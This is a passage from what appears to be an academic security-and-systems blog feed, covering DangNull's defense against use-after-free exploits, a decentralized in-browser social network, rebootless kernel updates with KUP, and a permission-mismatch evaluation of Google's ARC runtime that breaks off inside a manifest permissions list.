via pointers. One interesting property of &lt;code&gt;DangNull&lt;/code&gt; is in reusing null-pointer
checks in the program. Because the automatic nullification of dangling pointers
are actually the runtime semantics that developers intended and had to
implement, &lt;code&gt;DangNull&lt;/code&gt; fills up the missing semantic hole and keeps the program
alive even after the use-after-free attempts. We have implemented this idea
using &lt;code&gt;LLVM&lt;/code&gt; compiler infrastructures, and instrumented &lt;code&gt;the Chromium browser&lt;/code&gt;
(please refer the paper [1] for details).&lt;/p&gt;
&lt;h3&gt;Demo&lt;/h3&gt;
&lt;p&gt;The following video clip shows the demo on Chromium hardened with DangNull.  We
tested using a use-after-free exploit, &lt;code&gt;CVE-2013-2909&lt;/code&gt;, and it shows how
DangNull stops the exploit --- it stops the exploit attempts by triggering a
segmentation fault due to null-dereference (we do a little bit more extra jobs to
safely contain this exception, which we call safe-null dereference). When the
nullification value is NULL, the Chromium browser can correctly render the
exploit page as if the vulnerability is patched.&lt;/p&gt;
&lt;center&gt;
&lt;video width="80%" controls&gt;
  &lt;source src="https://tc.gtisc.gatech.edu/demo/2015/dangnull/demo.mp4" type="video/mp4"&gt;
&lt;/video&gt;
&lt;/center&gt;

&lt;hr&gt;

&lt;p&gt;[1] Preventing Use-after-free with Dangling Pointers Nullification. Byoungyoung
Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, Wenke Lee.
Published in NDSS 2015. [&lt;a href="http://www.cc.gatech.edu/~blee303/paper/dangnull.pdf"&gt;PDF&lt;/a&gt;]&lt;/p&gt;</content><category term="Blog"></category><category term="Security"></category></entry><entry><title>Envisioning a Private, Decentralized In-browser Social Network</title><link href="https://gts3.org/2015/deface.html" rel="alternate"></link><published>2015-03-10T12:12:00+01:00</published><updated>2015-03-10T12:12:00+01:00</updated><author><name>Yang Ji</name></author><id>tag:gts3.org,2015-03-10:/2015/deface.html</id><summary type="html">&lt;p&gt;Discuss the motivation, challenges and prototype of a private, decentralized in-browser social network.&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Decentralized social network wanted&lt;/h1&gt;
&lt;p&gt;People are getting more concerned with the safety of their personal data
stored at the social network service provider. Many privacy issues such as
private files leakage, manipulation of personal data without permission,
communication censorship have challenged the centralized architecture of
social network. The desire for an architecture where personal data are no
longer concentrated at a central server motivates the development of
decentralized social networks. Diaspora takes the first step by breaking the
centralized server down to a series of regional servers (&lt;code&gt;pods&lt;/code&gt;). A user
registers at a pod that receives and delivers the messages for him. However,
the problem is "what if the user does not trust the pod?". More seriously,
users data at the pod are in plaintext, subject to easier access after attack.&lt;/p&gt;
&lt;p&gt;Diaspora does provide an option with higher privacy protection: you can
set up your own pod that only serves yourself. If every user applies their own
pod, the decentralized social network could have been achieved. Unfortunately,
this has never come true. The convoluted installation procedure intimidates
most users. This is also true in mainstream P2P platforms such as Freenet,
Herbivore, and Kaleidoscope. Normal users can hardly install and maintain
these platforms without any technical support. This is the story five to ten
years ago. But can we do it now?&lt;/p&gt;
&lt;p&gt;With today's advanced platform-neutral, web-based technologies, can we provide
the same level of usability in popular social network such as Facebook with
enhanced privacy protection? One notable advantage comes from the browser. We
believe the current built-in features in browsers are able to accommodate a
peer-to-peer network: much more than a simple client-side renderer, nowadays we
have WebRTC that enables inter-browser peer-to-peer data channels, and indexed
DB that provides persistency as key-value store.&lt;/p&gt;
&lt;h1&gt;Design of an in-browser social network&lt;/h1&gt;
&lt;p&gt;Only having P2P data channel and in-browser persistency is far from an
operatable social network. We need to design a client-side only logic that is
able to orchestrate the social network without a centralized entity.
Specifically, we need at least the following three schemes:
- A secure signaling and friendship exchange service for the peer-to-peer
  network that offers both data security &amp;amp; privacy and high deploying
  scalability.
- A mechanism to ensure timeline consistency of posts between sender and
  receiver without any centralized authority.
- An efficient message delivery overlay network that delivers messages to both
  online and offline friends with low latency.&lt;/p&gt;
&lt;p&gt;&lt;img src="/blog/deface/overview.svg" alt="Overview" width="80%" /&gt;&lt;/p&gt;
&lt;h2&gt;SAFE store&lt;/h2&gt;
&lt;p&gt;The Signaling And Friendship Exchange (SAFE) service facilitates
peers to exchange friendship requests for establishing shared secrecy,
and also exchange network brokering information including metadata, IP
address and port number. As SAFE service only provides a platform for
peers to exchange information, this service can be hosted in a simple
key-value store.  Each piece of exchanged data is formatted as
a typical &lt;em&gt;json&lt;/em&gt; with the key to be only computable and
identifiable to the pair of friends. SAFE has no disclose to any user's
communication data, friends info, and even the ID. The design of SAFE
plays a key role to deliver a &lt;em&gt;private&lt;/em&gt; social network.&lt;/p&gt;
&lt;h2&gt;Timeline consistency&lt;/h2&gt;
&lt;p&gt;Timeline consistency of messages is resolved by the receiver proactively. When
the messages are sent and the receiver 
is offline, they are maintained in the DHT for a while using replication and 
persistence. However, after the message time-to-live expires, the message
is deleted from the DHT. If the receiver comes online after the messages
have been permanently removed from the DHT, then the receiver cannot
access them. However, if the sender sends a new message which has
message identifier higher than the identifier of the last successfully
recieved message, then the reciever detects this gap and requests for 
the missing messages. In that case, the sender once again introduces
these messages in the DHT. &lt;/p&gt;
&lt;h2&gt;Post delivery overlay network&lt;/h2&gt;
&lt;p&gt;As a baseline post delivery design, flooding sync tries to propagate posts to
as many friends (and friends of friends) as possible. So the chance for a peer
to receive her missed posts from a friend  when coming back online is
increased. DHT based sync exploits the chance of synchronization from other
online users than one's friends.&lt;/p&gt;
&lt;h2&gt;Other considerations&lt;/h2&gt;
&lt;p&gt;More considerations must be given without the support from a centralized
server. First, a flexible bootstrapping service is necessary for users to
reach the scripts in the first place. Besides providing an HTTP service, the
code can also be placed at public places such as CDN, Github, Dropbox as long
as the integrity can be ensured before running (e.g., Firefox supports code
signature of Javascript through signing JAR archive.). Second, instead of
directly managing the user credential, we can outsource the user credential to
existing public key servers like keybase.io. A user's identity is associated
with her public key which is accessible from the key server. Third, without the
centralized server as the third party authority, users can endorse each other by
signing trusted friend's public keys. The establishment of new friendship can be
based on the verification of endorsements.&lt;/p&gt;
&lt;h1&gt;Prototype and preliminary evaluation&lt;/h1&gt;
&lt;p&gt;We have implemented a prototype in JavaScript. 
At the peer side, the communication and storage manager are based on the W3C
standardized APIs for HTML5: WebRTC and Indexed DB.
Therefore, our prototype can support Chrome 23+, Firefox 10.0+, Opera 15+ at the
desktop end, and Android 4.4+, Firefox Mobile 22.0+ and FirefoxOS 1.0.1+ for the
mobile platform. The crypto module uses OpenGPG for the encryption, hashing, and
key signing operations. Peers retrieve others' public key from the public key
infrastructure Keybase.io. At the SAFE store side, a simple key-value store is
applied using Redis.&lt;/p&gt;
&lt;p&gt;We evalute the performance of flooding sync by simulating users with Webdriver.
The simulated users login and logout the service periodically. The post arrival
latency and the storage overhead of every online activity is recorded. The
result of latency and storage overhead is plotted in the following. &lt;/p&gt;
&lt;p&gt;&lt;img src="/blog/deface/sync.svg" alt="Sync evaluation" width="80%" /&gt;&lt;/p&gt;
&lt;p&gt;The SAFE store performance is measured with two metrics: throughput and
capacity. From the real experiment, the result shows that with a single
instance of redis, SAFE can process 1,401 login requests per second, 2,307,
4,549, 5,818, and 6,620 as the number of sharding increses in double,
respectively. From the result of storing 192,000 records, experiment shows
that a each login request consumes 51K bytes. Assuming 64GB of RAM for the
SAFE server, a single instance could store upto 1.34 million users.&lt;/p&gt;
&lt;p&gt;One might think that replacing Facebook is a pipe dream, but we will
take a bold first step to replace a chatting service for closed
groups like a web-based IRC. Stay tuned.&lt;/p&gt;</content><category term="Blog"></category><category term="Web"></category><category term="P2P"></category></entry><entry><title>Rebootless Kernel Update</title><link href="https://gts3.org/2015/rebootless-kernel-update.html" rel="alternate"></link><published>2015-02-10T10:10:00+01:00</published><updated>2015-02-10T10:10:00+01:00</updated><author><name>Sanidhya Kashyap</name></author><id>tag:gts3.org,2015-02-10:/2015/rebootless-kernel-update.html</id><summary type="html">&lt;p&gt;Seamlessly updating OS with least application downtime.&lt;/p&gt;</summary><content type="html">&lt;p&gt;OS update is a crucial step not only to patch security
vulnerabilities or fix bugs, but also to add features that improve
the performance of the system. But, it comes at the cost of rebooting
the system, leading to unavoidable downtime and service disruption. It is an
essential to mitigate critical threats immediately, but for end users, the inevitable
downtime during an update simply degrades the productivity and usability of OS. This
is critical to enterprises; for example, Amazon looses a whopping $66,000 [2] for a
single minute of downtime. And, this downtime / disruption can further
exacerbate in case if the update fails.&lt;/p&gt;
&lt;p&gt;To solve the aforementioned issues, following are the two pragmatic
techniques which are in practice:&lt;/p&gt;
&lt;p&gt;&lt;img src="/blog/kup/kpatch.svg" alt="Patches" width="70%" /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Rolling updates&lt;/em&gt; - First apply an update to a small group of machines,
  then extend it to others in case of no failure. Although this
  technique facilitates a safe measure against mass failure, there is still
  a considerable downtime while rebooting the systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;em&gt;Dynamic hot-patching&lt;/em&gt; - This technique directly applies the patches
  to the running kernel in-place. As a result, the system reboot becomes
  unnecessary, resulting in no application downtime. Although, it seems
  attractive, it is inherently limited to particular set of patches
  consisting of simple code change than semantic one. We tested an
  open source tool called &lt;code&gt;kpatch&lt;/code&gt; which can only support &lt;strong&gt;1&lt;/strong&gt; out of
  &lt;strong&gt;16&lt;/strong&gt; minor updates over six months of Ubuntu's releases (Linux 3.13.0.32 -&amp;gt; 34).
  The above figure shows its limitations. X-axis represents before-version and
  after-version, and dotted bars represent failures in executing &lt;code&gt;kpatch&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even though these solutions are pragmatic, they are either inherently limited or
do not completely solve the issues of system downtime and service disruption
while updating the system. To address these issues, we come up with idea of &lt;code&gt;KUP&lt;/code&gt;
- a simple, yet effective update mechanism that enables seamless kernel updates
without any modification of the commodity operating systems (or with minimal
changes for least downtime) by using an application with a stable and matured
checkpoint-and-restart (C/R) technique. &lt;code&gt;KUP&lt;/code&gt; not only supports the full
system update for any kind of complex patches, but also facilitates
the mitigation of update failure with two extensions: (1) &lt;em&gt;safe fallback&lt;/em&gt;
that enables automatic recovery upon upgrade failures, by restoring back to
the original system before update; and (2) &lt;em&gt;update dryrun&lt;/em&gt; which allows users
to check if a new system update breaks running applications or services before
actually applying it to the real machine. Another crazy extension that we
have thought of is &lt;em&gt;application agnostic fault tolerance&lt;/em&gt;, in which the
application can be replicated either to provide high availability or even
load balancing.&lt;/p&gt;
&lt;p&gt;Our evaluation shows that &lt;code&gt;KUP&lt;/code&gt; provides a fast kernel update with various
running applications such as &lt;em&gt;memcached&lt;/em&gt;, &lt;em&gt;mysql&lt;/em&gt; or in the middle of Linux
kernel compile. For example, &lt;code&gt;KUP&lt;/code&gt; can update the Linux kernel from v3.17-rc7
to 3.17.0 with a downtime of total 2.4 sec (constant), without losing 5.6 GB
(or even larger) of &lt;em&gt;memcached&lt;/em&gt; data.&lt;/p&gt;
&lt;h1&gt;Approach and Design&lt;/h1&gt;
&lt;p&gt;&lt;img src="/blog/kup/arch.svg" alt="Overview" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;KUP&lt;/code&gt;'s update procedure is clean and simple: it first checkpoints the process,
followed by a kernel switch and later restarts the application by restoring its
checkpointed state (see above figure). While designing &lt;code&gt;KUP&lt;/code&gt;, our prime focus has
been to obtain the maximum performance out of the C/R &lt;strong&gt;without&lt;/strong&gt; modifying the
commodity OS. Later, we also concentrated on squeezing the maximum performance
(having least downtime) for C/R with &lt;strong&gt;minimal changes&lt;/strong&gt; to the kernel. To achieve
this, &lt;code&gt;KUP&lt;/code&gt; leverages four new techniques for reducing the system downtime during update:&lt;/p&gt;
&lt;center&gt;
&lt;table border="1" width="70%"&gt;
    &lt;tr align="center"&gt;
        &lt;th&gt;Stages&lt;/th&gt;
        &lt;th&gt;Inc.&lt;/th&gt;
        &lt;th&gt;Ond.&lt;/th&gt;
        &lt;th&gt;Inc+Ond&lt;/th&gt;
        &lt;th&gt;FOAM&lt;/th&gt;
        &lt;th&gt;RP-RAMFS&lt;/th&gt;
        &lt;th&gt;PPP&lt;/th&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
        &lt;td&gt;Checkpoint&lt;/td&gt;
        &lt;td&gt;+83.5%&lt;/td&gt;
        &lt;td&gt;--&lt;/td&gt;
        &lt;td&gt;+83.5%&lt;/td&gt;
        &lt;td&gt;+83.5%&lt;/td&gt;
        &lt;td&gt;+94.0%&lt;/td&gt;
        &lt;td&gt;+99.7%&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr align="center"&gt;
        &lt;td&gt;Restore&lt;/td&gt;
        &lt;td&gt;-15.2%&lt;/td&gt;
        &lt;td&gt;+99.6&lt;/td&gt;
        &lt;td&gt;-42.8%&lt;/td&gt;
        &lt;td&gt;+99.6%&lt;/td&gt;
        &lt;td&gt;+99.6%&lt;/td&gt;
        &lt;td&gt;+99.4%&lt;/td&gt;
    &lt;/tr&gt;
&lt;/table&gt;
Techniques for improving &lt;code&gt;KUP&lt;/code&gt;'s performance. Inc. and Ond. represent
the incremental checkpoint and on-demand restore respectively. Inc+Ond is the combination
of the previous two, whereas **FOAM** is `KUP`'s simple data structure for obtaining
the best performance without any kernel change. **RP-RAMFS** represents **FOAM** based
C/R scheme used on RAM file system. **PPP** is the modification applied in the kernel
to achieve best performance.
&lt;/center&gt;

&lt;h2&gt;1. Incremental checkpoint&lt;/h2&gt;
&lt;p&gt;For applications with large working set size (WSS), a single checkpoint results
in huge downtime. To mitigate this issue, &lt;code&gt;KUP&lt;/code&gt; relies on the idea of
&lt;strong&gt;incremental checkpoint&lt;/strong&gt;. &lt;code&gt;KUP&lt;/code&gt; &lt;em&gt;asynchronously&lt;/em&gt; takes multiple snapshots of
the process' memory followed by a &lt;em&gt;synchronous&lt;/em&gt; snapshot. With
its introduction, we observe a significant improvement of 83.5% (Inc. column)
over a simple checkpoint approach with respect to the downtime. Currently,
&lt;code&gt;KUP&lt;/code&gt; relies on &lt;strong&gt;criu&lt;/strong&gt;[1] for application C/R and it already provides incremental
checkpoint functionality.&lt;/p&gt;
&lt;h2&gt;2. On-demand restore&lt;/h2&gt;
&lt;p&gt;The downtime is experienced during both: the checkpoint and restore period. Thus,
application restart also adds up an equivalent time to that of checkpointing.
To resolve this issue, &lt;code&gt;KUP&lt;/code&gt; restarts the application without loading its
entire memory, rather reload them &lt;em&gt;on-demand&lt;/em&gt; when the process tries to access
a particular page. This approach is similar to standard copy-on-write (COW)
optimization, thereby drastically decreasing the downtime by 99.6% (column Ond).&lt;/p&gt;
&lt;p&gt;Using incremental checkpoint along with on-demand restore seems to be an apt
choice. But, from the above table, even the simple restore with incremental
checkpoint adds an overhead of 15.2% (Restore row of Inc. column). This is due to
the extra work in maintaining a sequence of images taken during
incremental checkpoint, in which the restore code path wastes significant amount
of time in linearizing the data back to the process' memory. On further
combination of both incremental checkpoint and on-demand restore, we observe a
huge downtime for on-demand restore by 42.8%. This occurs because we need to map
the memory at the page granularity level for dynamic reloading of the pages
with the help of &lt;strong&gt;mmap()&lt;/strong&gt; system call, which results in a huge overhead.&lt;/p&gt;
&lt;h2&gt;3. File offset-based address mapping (FOAM)&lt;/h2&gt;
&lt;p&gt;In order to effectively use the incremental checkpoint with on-demand
restore, &lt;code&gt;KUP&lt;/code&gt; uses a simple data structure, called &lt;em&gt;file offset based
address mapping&lt;/em&gt; (&lt;strong&gt;FOAM&lt;/strong&gt;) for checkpointing the process' memory. &lt;strong&gt;FOAM&lt;/strong&gt;
uses direct one-to-one mapping between the process address and a huge file,
thus representing the whole virtual address space of the process. The free regions
in the address space (not allocated to the process) are represented as &lt;em&gt;holes&lt;/em&gt;,
which is already supported by the modern file systems.&lt;/p&gt;
&lt;p&gt;By using &lt;strong&gt;FOAM&lt;/strong&gt;, we reap the following benefits:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;There is no maintenance cost of metadata now.&lt;/li&gt;
&lt;li&gt;There is no data fragmentation issue i.e. everything gets
  updated in a single place.&lt;/li&gt;
&lt;li&gt;Simplifies the work to enable on-demand restore.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The above table (column FOAM) shows the benefits of using &lt;strong&gt;FOAM&lt;/strong&gt; as it
facilitates us with the best of both worlds.&lt;/p&gt;
&lt;h2&gt;4. Persistent physical pages (&lt;strong&gt;PPP&lt;/strong&gt;)&lt;/h2&gt;
&lt;p&gt;The bandwidth of the storage medium also plays its part when the application
is checkpointed and restarted. To circumvent this, we introduce a RAM-based
file system (&lt;strong&gt;RP-RAMFS&lt;/strong&gt;) that stores its data purely in RAM but makes it
persistent across reboot. Even though &lt;strong&gt;RP-RAMFS&lt;/strong&gt; seems a viable option,
it has a critical limitation. &lt;code&gt;KUP&lt;/code&gt; cannot perform C/R on an application
with working set size more than half of the actual memory space.&lt;/p&gt;
&lt;p&gt;We overcome the limitation of &lt;strong&gt;RP-RAMFS&lt;/strong&gt; by introducing new mechanism in the
kernel by letting it preserve the application memory across update. &lt;code&gt;KUP&lt;/code&gt;
saves the virtual address and physical pages pair of the process which gets
used during restoration. &lt;code&gt;KUP&lt;/code&gt; achieves this functionality by introducing
two new system calls - &lt;code&gt;preserve(pid, mapinfo, nele)&lt;/code&gt; for transferring
the data to the kernel while checkpointing and &lt;code&gt;prestore(mapinfo, nele)&lt;/code&gt;
during application restart. 
Following are the steps that &lt;code&gt;KUP&lt;/code&gt; uses for &lt;strong&gt;PPP&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;During the checkpoint phase, &lt;code&gt;KUP&lt;/code&gt; dumps the virtual-to-physical mapping
  of the targeted process in userspace and passes the relevant information
  to the kernel via &lt;code&gt;preserve&lt;/code&gt; syscall.&lt;/li&gt;
&lt;li&gt;Before updating, &lt;code&gt;KUP&lt;/code&gt; creates a list of new pages that are not touched
  by the new kernel unless specified.&lt;/li&gt;
&lt;li&gt;During new kernel's boot, &lt;code&gt;KUP&lt;/code&gt; globally reserves the required set of requested pages.&lt;/li&gt;
&lt;li&gt;During application restart, by using &lt;code&gt;prestore&lt;/code&gt; syscall, &lt;code&gt;KUP&lt;/code&gt; passes the
  information to the page-fault handler, thereby allowing it to correctly
  rebind the faulted virtual address with the reserved physical page.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This technique not only improves the performance by instantly binding the pages at the
page level granularity, but also avoids redundant memory copy.&lt;/p&gt;
&lt;h1&gt;Evaluation&lt;/h1&gt;
&lt;p&gt;It is time to test our design and implementation. Now, we will discuss
about the about the effectiveness of our techniques.&lt;/p&gt;
&lt;p&gt;&lt;img src="/blog/kup/memcached.svg" alt="Memcached" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;The above figure shows the effectiveness of various techniques - on-demand, &lt;strong&gt;FOAM&lt;/strong&gt; and
&lt;strong&gt;PPP&lt;/strong&gt; techniques on both SSD and &lt;strong&gt;RP-RAMFS&lt;/strong&gt; using memcached as the application.
The x axis is the network bandwidth and x axis is the time-line. At time t=193 second,
the kernel update is started for each case. As already discussed, &lt;strong&gt;PPP&lt;/strong&gt;
is the best approach with the least downtime of around 2.4 seconds. Whereas &lt;strong&gt;FOAM&lt;/strong&gt;
is the next best candidate in terms of performance.&lt;/p&gt;
&lt;p&gt;&lt;img src="/blog/kup/micro.svg" alt="Micro-benchmark" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;The above 3 figures (a,b,c) illustrate the impact of using our &lt;strong&gt;FOAM&lt;/strong&gt; for both
checkpoint and restore phase. (a) shows the downtime caused by checkpointing with varying
WSS. (b) shows the downtime when changing the percentage of write under fixed WSS, and
the overhead of &lt;strong&gt;FOAM&lt;/strong&gt;'s incremental approach suddenly becomes high with the increase
in write percentage. (c) illustrates the advantage of on-demand restore when increasing
the WSS. (d) shows the performance of &lt;strong&gt;PPP&lt;/strong&gt; and &lt;strong&gt;FOAM&lt;/strong&gt; (on &lt;strong&gt;RP-RAMFS&lt;/strong&gt; and SSD)
with varying WSS (50% write) up to 72 GB, which is larger than half of the
system's memory (128 GB). &lt;strong&gt;RP-RAMFS&lt;/strong&gt; fails at 56GB as it requires free RAM
space for checkpointing the process, therefore it cannot support large WSS. On the
contrary, &lt;strong&gt;PPP&lt;/strong&gt; can efficiently support applications with large WSS.&lt;/p&gt;
&lt;p&gt;There are other aspects that we have not covered including the testing of other
applications, &lt;code&gt;KUP&lt;/code&gt; against &lt;code&gt;kpatch&lt;/code&gt;, and the kernel switch downtime. We will go
in detail in our next blog post along with some other cool ideas.&lt;/p&gt;
&lt;hr&gt;

&lt;p&gt;[1] criu:  http://www.criu.org/Main_Page&lt;/p&gt;
&lt;p&gt;[2] Amazon.com Goes Down, Loses $66,240 Per Minute. http://www.forbes.com/sites/kellyclay/2013/08/19/amazon-com-goes-down-loses-66240-per-minute&lt;/p&gt;
&lt;p align="right"&gt;Proofread by Taesoo Kim and Changwoo Min.&lt;/p&gt;</content><category term="Blog"></category><category term="C/R"></category><category term="Update"></category><category term="OS"></category></entry><entry><title>Security Evaluation for ARC</title><link href="https://gts3.org/2014/arc-security.html" rel="alternate"></link><published>2014-12-10T12:12:00+01:00</published><updated>2014-12-10T12:12:00+01:00</updated><author><name>Meng Xu</name></author><id>tag:gts3.org,2014-12-10:/2014/arc-security.html</id><summary type="html">&lt;p&gt;Security issues caused by permission mismatch and inter-"component" interaction in ARC&lt;/p&gt;</summary><content type="html">&lt;h1&gt;Introduction&lt;/h1&gt;
&lt;p&gt;The official &lt;a href="https://support.google.com/chromebook/answer/6088175?hl=en"&gt;ARC (App Runtime for Chrome) project&lt;/a&gt;, announced by Google in
&lt;a href="https://www.youtube.com/watch?v=wtLJPvx7-ys#t=6070"&gt;Google I/O 2014&lt;/a&gt;
enables running of Android apps on Chrome environment. 
The official ARC is available for Chrome OS only in the form of Extension. 
It is subsequently extended (or hacked, technically) by vladikoff and others 
into a general Chrome Extension 
&lt;a href="https://bitbucket.org/vladikoff/archon/src"&gt;ARChon&lt;/a&gt; 
that can be loaded onto a Chrome browser running on Windows, OS X and Linux.
The ARChon is also complemented by a repackaging script, 
&lt;a href="https://github.com/vladikoff/chromeos-apk"&gt;chromeos-apk&lt;/a&gt;
which transforms an ordinary Android APK file into a loadable ARC app 
(also, a Chrome App). &lt;/p&gt;
&lt;h1&gt;Understanding ARC&lt;/h1&gt;
&lt;p&gt;Unlike the Android Emulator shipped with Android SDK 
or other commercial solutions (e.g. &lt;a href="https://www.genymotion.com"&gt;Genymotion&lt;/a&gt;), 
the goal of ARC is not to build another emulator that runs the full
Android OS images and multiple apps. Instead, it aims at providing the
&lt;strong&gt;minimum&lt;/strong&gt; codebase to run a &lt;strong&gt;single&lt;/strong&gt; app. 
Based on the analysis of files constitutes ARC implementation, it strips
out all components unrelated to the Dalvik VM, and preserves
the system libraries and the Android API framework.
For example:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Most files in &lt;code&gt;_platform_specific/nacl_${arch}/&lt;/code&gt; should be in &lt;code&gt;/system/lib/&lt;/code&gt; on an Android image.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dalvikvm.so&lt;/code&gt; and &lt;code&gt;dexopt.so&lt;/code&gt; should be wrappers for &lt;code&gt;dalvikvm&lt;/code&gt; and &lt;code&gt;dexopt&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;There are also libraries used by Android Emulator from OpenGL ES hardware emulation, such as &lt;code&gt;libEGL_translator.so&lt;/code&gt;, &lt;code&gt;libOpenglSystemCommon.so&lt;/code&gt;, etc.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;readonly_fs_image.img&lt;/code&gt; is the filesystem image for Android.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Source code of the ARC can be found at this 
&lt;a href="https://chromium.googlesource.com/arc/arc/+/master"&gt;link&lt;/a&gt;. 
However, this only allows you to build the &lt;code&gt;.so&lt;/code&gt; libraries, 
a fully running system cannot currently be built.
The following security evaluation work we have done is experimental 
and mainly for fun and learning.
Source code for the experiments we conducted can be found on
&lt;a href="https://github.com/meng-xu/arc-security"&gt;GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;Permission Mismatch&lt;/h1&gt;
&lt;h2&gt;Issues&lt;/h2&gt;
&lt;p&gt;Through our experiments, we observed that 
** ARC does not respect Android permission model &lt;em&gt;&lt;em&gt;, 
i.e., a repackaged app has access to 
privileged operations even without declaring corresponding permissions. 
You can compile run the &lt;code&gt;TestPermission&lt;/code&gt; app in the
the above GitHub link to confirm this issue. 
When running on ARC,
the app has Internet access even without declaring 
&lt;code&gt;&amp;lt;uses-permission android:name="android.permission.INTERNET" /&amp;gt;&lt;/code&gt;
in its &lt;/em&gt;manifest&lt;/em&gt; file.&lt;/p&gt;
&lt;h2&gt;Solutions&lt;/h2&gt;
&lt;p&gt;Given the issue, the first intuition is that ARC delegates permission checking 
to Chrome Runtime (together with permission enforcement for Chrome App).
And I did found that the repackaging script adds every permission to the
repackaged app, regardless of the actual permissions declared.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;quot;permissions&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;gcm&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;socket&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tcp-connect&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;tcp-listen&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;udp-bind&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;udp-send-to&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;resolve-host&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;unlimitedStorage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;notifications&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;clipboardRead&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;&amp;quot;fileSystem&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;write&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;https://clients2.google.com/&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;videoCapture&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;clipboardWrite&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;identity.email&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;alarms&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;storage&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
